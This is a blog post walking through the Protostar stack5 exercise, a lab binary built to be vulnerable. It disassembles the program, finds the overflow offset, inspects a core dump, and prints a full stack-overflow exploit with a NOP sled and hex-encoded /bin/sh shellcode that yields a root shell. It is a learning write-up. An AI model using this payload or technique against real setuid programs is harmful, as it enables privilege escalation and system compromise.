DEV Community

Cover image for Jump into shellcode (protostar - stack5)
hextrace
hextrace

Posted on

Jump into shellcode (protostar - stack5)

Analysis

root@protostar:/opt/protostar/bin# file stack5
stack5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

root@protostar:/opt/protostar/bin# gdb -q stack5
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
Enter fullscreen mode Exit fullscreen mode

Let's test some dumb inputs:

root@protostar:/opt/protostar/bin# python -c "print 'A'*75" | ./stack5
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault
Enter fullscreen mode Exit fullscreen mode

What about libraries used:

root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffffd74, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffffc80, 0xb7ec6165, 0xbffffc88, 0xb7eada75, 0xb7fd7ff4)         = 0xbffffc80
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Enter fullscreen mode Exit fullscreen mode

Ok fine, gets is a dangerous function and shouln't be used. Let's figure out why.

Exploitation

Let's prepare a crash dump:

root@protostar:/opt/protostar/bin# ulimit -c unlimited
root@protostar:/opt/protostar/bin# printf 1 > /proc/sys/fs/suid_dumpable
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault (core dumped)
root@protostar:/opt/protostar/bin# file /tmp/core.11.stack5.1915
/tmp/core.11.stack5.1915: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './stack5'
Enter fullscreen mode Exit fullscreen mode

Now we open the crash dump and inspect the stack:

root@protostar:/opt/protostar/bin# gdb -q -c /tmp/core.11.stack5.1915
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7eadc03 in ?? ()
(gdb) x/40x $esp-80
0xbffffc8c:     0xb7eada75      0x41414141      0x41414141      0x41414141
0xbffffc9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffccc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcdc:     0x41414141      0x00000001      0xbffffd84      0xbffffd8c
0xbffffcec:     0xb7fe1848      0xbffffd40      0xffffffff      0xb7ffeff4
0xbffffcfc:     0x08048232      0x00000001      0xbffffd40      0xb7ff0626
0xbffffd0c:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffd1c:     0x00000000      0xbffffd58      0x130bb1dd      0x394a07cd
(gdb)
Enter fullscreen mode Exit fullscreen mode

We're going to write some code on the stack and use eip to jump into it.
We can help ourselves with a 'nop sled' (consecutive nop opcodes) to find the entrypoint more easily:

root@protostar:/opt/protostar/bin# python -c "print 'A'*76+'\xe8\xfc\xff\xbf'+'\x90'*20+'\x31\xc0\x31\xdb\xb0\x06\xcd\x
80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\
xe1\x99\xb0\x0b\xcd\x80'" > payload
root@protostar:/opt/protostar/bin# cat payload | ./stack5
# id
uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

This payload fills the buffer with 76 A's, then overwrites the instruction
pointer with 0xbffffce8 which is somewhere in our following nop sled of 0x90's
and then our shellcode spawning a shell.

Top comments (0)